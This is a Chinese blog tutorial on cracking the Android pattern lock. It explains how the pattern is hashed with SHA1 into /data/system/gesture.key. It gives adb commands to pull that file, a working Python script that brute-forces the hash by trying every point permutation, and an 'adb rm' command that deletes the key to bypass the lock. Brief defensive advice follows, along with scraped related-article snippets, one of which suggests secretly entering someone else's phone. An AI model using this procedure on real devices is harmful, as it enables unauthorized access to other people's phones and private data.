破解android手机图形锁

安卓手机的图形锁包括3*3,4*4,5*5的点阵,按次序连接数个点从而达到锁定/解锁的功能。以3*3为例,最少需要连接4个点,最多能连接9个点。在我们进行绘制图形的过程中,每选中这9个点中的一个点,实际上就代表选中了一位数字。当我们连接完4个点时,产生的图形也会间接生成一组密码。比如我们选中02、04、05、08这四个点位,那么组成的密码即为02040508。当然,为了安全,生成的密码是不可能直接被存储的,于是安卓系统将02040508转换为16进制并以sha1加密,并存储在手机里的/data/system/gesture.key 文件中。我们要做的就是破解这个文件中保存的密钥,通过破解出的密钥可以得到绘制图形的点位,从而进入手机系统。

破解有两个前提条件:

(1)手机需要root;

(2)需要开启调试模式。

满足了以上两个条件,我们便可以开始对安卓手机的图形密码进行破解。

首先利用adb进入手机的shell模式。然后adb pull data/system/gesture.key gesture.key。将密钥存放的文件拷贝到电脑。利用C32Asm打开gesture.key文件,会发现其文件内容为sha1加密。如图1所示:

图1

因为该密钥是基于点位组成的密码,将sha1密钥解密后的密码应该是大于4位小于9位的。密码数量大概在3024~985824之间。既然密码的数量已经知道,我们便可以对该密码进行穷举破解。

利用python编写穷举破解程序:

主要编程思路如下:首先对00-09这些数字进行排列组合,需要用到Python中的itertools模块,来完成迭代循环操作。组合出来的数字序列在用hashlib模块对字符串进行SHA1加密,然后对gesture.key文件中的密钥进行碰撞,知道找到相同的一组数字序列。

代码:

 1 #coding:utf-8
 2 import itertools
 3 import hashlib
 4 import time
 5 import os
 6 #调用cmd,ADB连接到手机,读取SHA1加密后的字符串
 7 #os.system(r"adb pull /data/system/gesture.key gesture.key")
 8 time.sleep(5)
 9 f=open(‘gesture.key‘,‘r‘)
10 pswd=f.readline()
11 f.close()
12 pswd_hex=pswd.encode(‘hex‘)
13 print u‘加密后的密码为:%s‘%pswd_hex
14 #生成解锁序列,得到[‘00‘,‘01‘,‘02‘,‘03‘,‘04‘,‘05‘,‘06‘,‘07‘,‘08‘]
15 matrix=[]
16 for i in range(0,9):
17     str_temp = ‘0‘+str(i)
18     matrix.append(str_temp)
19 #将00——08的字符进行排列,至少取4个数排列,最多全部进行排列
20 min_num=4
21 max_num=len(matrix)
22 list_m=[]
23 for num in range(min_num,max_num+1):#从04 -> 08
24     iter1 = itertools.permutations(matrix,num)#从9个数字中挑出n个进行排列
25     list_m.append(list(iter1))#将生成的排列全部存放到 list_m 列表中
26
27 for i in list_m:
28     for el in i:#遍历这n个数字的全部排列
29         strlist=‘‘.join(el)#将list转换成str。[00,03,06,07,08]-->0003060708
30         #print strlist
31         strlist_sha1 = hashlib.sha1(strlist.decode(‘hex‘)).hexdigest()#将字符串进行SHA1加密
32         if pswd_hex==strlist_sha1:#将手机文件里的字符串与加密字符串进行对比
33             print u‘解锁密码为:‘,strlist

当脚本运行完成后,便会输出图形序列的密码,按照0001020406的排列顺序,绘制相应的图形便可进入手机。


通过这种方式获取手机权限的限制还是比较多的,首先手机必须是已经root的最高权限,并且开启了开发者调试模式。

防止以上攻击方法的防御措施就是关闭开发者调试模式,手机被盗后可以禁止其他人对手机ADB调试破解密码。另外也要防止木马被植入手机,因为通过木马也可以导出手机中的gesture.key密钥管理文件。

另外,从破解目的来说,如果单单是忘记了自己的手机图形锁密码,完全可以用更简单的办法:ADB连接手机,然后“adb rm /data/system/gesture.key”删除掉gesture.key文件,此时图形锁就失效了,随意画一下就能解锁。

参考文章:http://www.jb51.net/softjc/295236.html

时间: 2024-10-09 21:22:29

破解android手机图形锁的相关文章

如何破解安卓手机上的图形锁(九宫格锁)

http://mobile.51cto.com/iphone-441496.htm 安卓手机的图形锁(九宫格)是3×3的点阵,按次序连接数个点从而达到锁定/解锁的功能.最少需要连接4个点,最多能连接9个点.网上也有暴力删除手机图形锁的方法,即直接干掉图形锁功能.但假如你想进入别人的手机,但又不想引起其警觉的话……你可以参考一下本文. 前提条件:手机需要root,而且打开调试模式.一般来讲,如果用过诸如“豌豆荚手机助手”.“360手机助手”一类的软件,都会被要求打开调试模式的.如果要删除手机内置软

Android端恶意锁屏勒索应用分析

一.前言 5月12日,一场全球性互联网灾难悄然而至,一款名为WannaCRY的PC端恶意勒索软件利用NSA泄漏的危险漏洞“永恒之蓝”,给100多个国家和地区10万台电脑造成了巨大的损失.到2017年为止,全球手机用户总量已经突破50亿,而作为占比超过50%的android系统中,同样有许许多多类似WannaCRY的勒索软件正在危害我们的财产安全. 接下来,以一款主流的Android端恶意锁屏勒索应用为例,结合人工分析的方式,深入剖析勒索应用的恶意行为.知己知彼,才能更好的防患于未来.   二.运

(转)认识Android手机--来自MIUI

============问题描述============ MIUI今天开始发布MIUI ROM的适配教程,这是第一篇,概述Android的分区与架构,个人认为对理解Android有帮助,故转帖. 原帖地址 :http://www.miui.com/thread-402322-1-1.html http://www.miui.com/thread-402302-1-1.html 大家好,欢迎来到MIUI ROM适配之旅.在开始我们的旅程之前,先介绍一下我们的大致安排以及对大家的要求. 我们的旅程会

android手机赚钱软件排行2014-05-08更新

1,招财猫:官方下载 每天5分钟至少2块钱 使用方法:每天20次左滑,每次50元宝,一共1000元宝=1RMB,其他左滑每次4元宝,一天最多1000次:每天摇一摇50-1000元宝,统计下来,500比较多:每天任务满888元宝,可以分享一次,500元宝:其他少量下载任务: 2.疯狂锁屏:官方下载 每天5毛 使用方法:在"赚钱"里面下载7个壁纸,每个壁纸自动使用24小时,每个壁纸5金币=5毛钱.特点:无需操作 3.锁屏赚:官方下载 每天1块5毛 使用方法:左滑15次,每次1毛,每10分钟

Android手机做无线中继路由器

为什么要拿手机做路由器?因为我现在每天要带着一个火柴盒大小的路由器(703n).它提供了一个f了q的无线网络,电脑,手机,平板等设备连接上这个无线网络之后之后就可以自由上twitter,看youtube.但是它还不够理想.,我不希望在拥挤的包里再塞一个设备,我还希望在路上只有3G网络没有USB电源的地方也可以刷刷twitter.最好的设备莫过于手机了. 手机拿来做fq路由器最大的缺陷在于,它不是一个路由器.最开始手机都是处于网络的终端,要么接收3G信号,要么接收wifi信号.后来技术发展之后,手

Android手机部分名词浅谈

1.什么是Radio? Radio是无线通信模块的驱动程序,ROM是系统程序,radio负责网络通信,ROM和Radio可以分开刷,互不影响.如果您的手机刷新了ROM后有通讯方面的问题可以刷新radio试试.2.什么是RAM?全名Random Access Memory(随机存储记忆体),是PPC上的移动存储部分,用来存储和保存数据的.它在任何时候都可以读写,RAM通常是作为操作系统或其他症状运行程序的临时存储介质(可称作系统内存).3.什么是ROM?ROM类似于PC电脑的操作系统,比如wind

从零开始学android<Bitmap图形组件.四十七.>

android.graphics.Bitmap(位图)是Android手机中专门提供的用于操作图片资源的操作类,使用此类可以直接从资源文件之中进行图片资源的读取,并且对这些图片进行一些简单的修改. 常用的方法 1 public static Bitmap createBitmap (Bitmap src) 普通 复制一个Bitmap 2 public static Bitmap createBitmap(Bitmap source, int x, int y, int width, int he

android手机赚钱软件排行

1,招财猫:官方下载 每天5分钟至少2块钱 使用方法:每天20次左滑,每次50元宝,一共1000元宝=1RMB,其他左滑每次4元宝,一天最多1000次:每天摇一摇50-1000元宝,统计下来,500比较多:每天任务满888元宝,可以分享一次,500元宝:其他少量下载任务: 2.疯狂锁屏:官方下载 每天5毛 使用方法:在"赚钱"里面下载7个壁纸,每个壁纸自动使用24小时,每个壁纸5金币=5毛钱.特点:无需操作 3.锁屏赚:官方下载 每天1块5毛 使用方法:左滑15次,每次1毛,每10分钟

从adb prrmission denied到理解android手机提权背后

场景描述: 1. 连接Android手机,adb shell find xxxx,显示adb permission denied: 2. Google显示需要运行在root权限下,adb root,无错误输出,再次adb shell find xxxx,仍显示permission denied; 3. 发现手机未获取root权限,尝试root精灵和kingroot一键root均失败. 原因: 1. adb是Android SDK自带调试工具(相关介绍:Android developer): 2.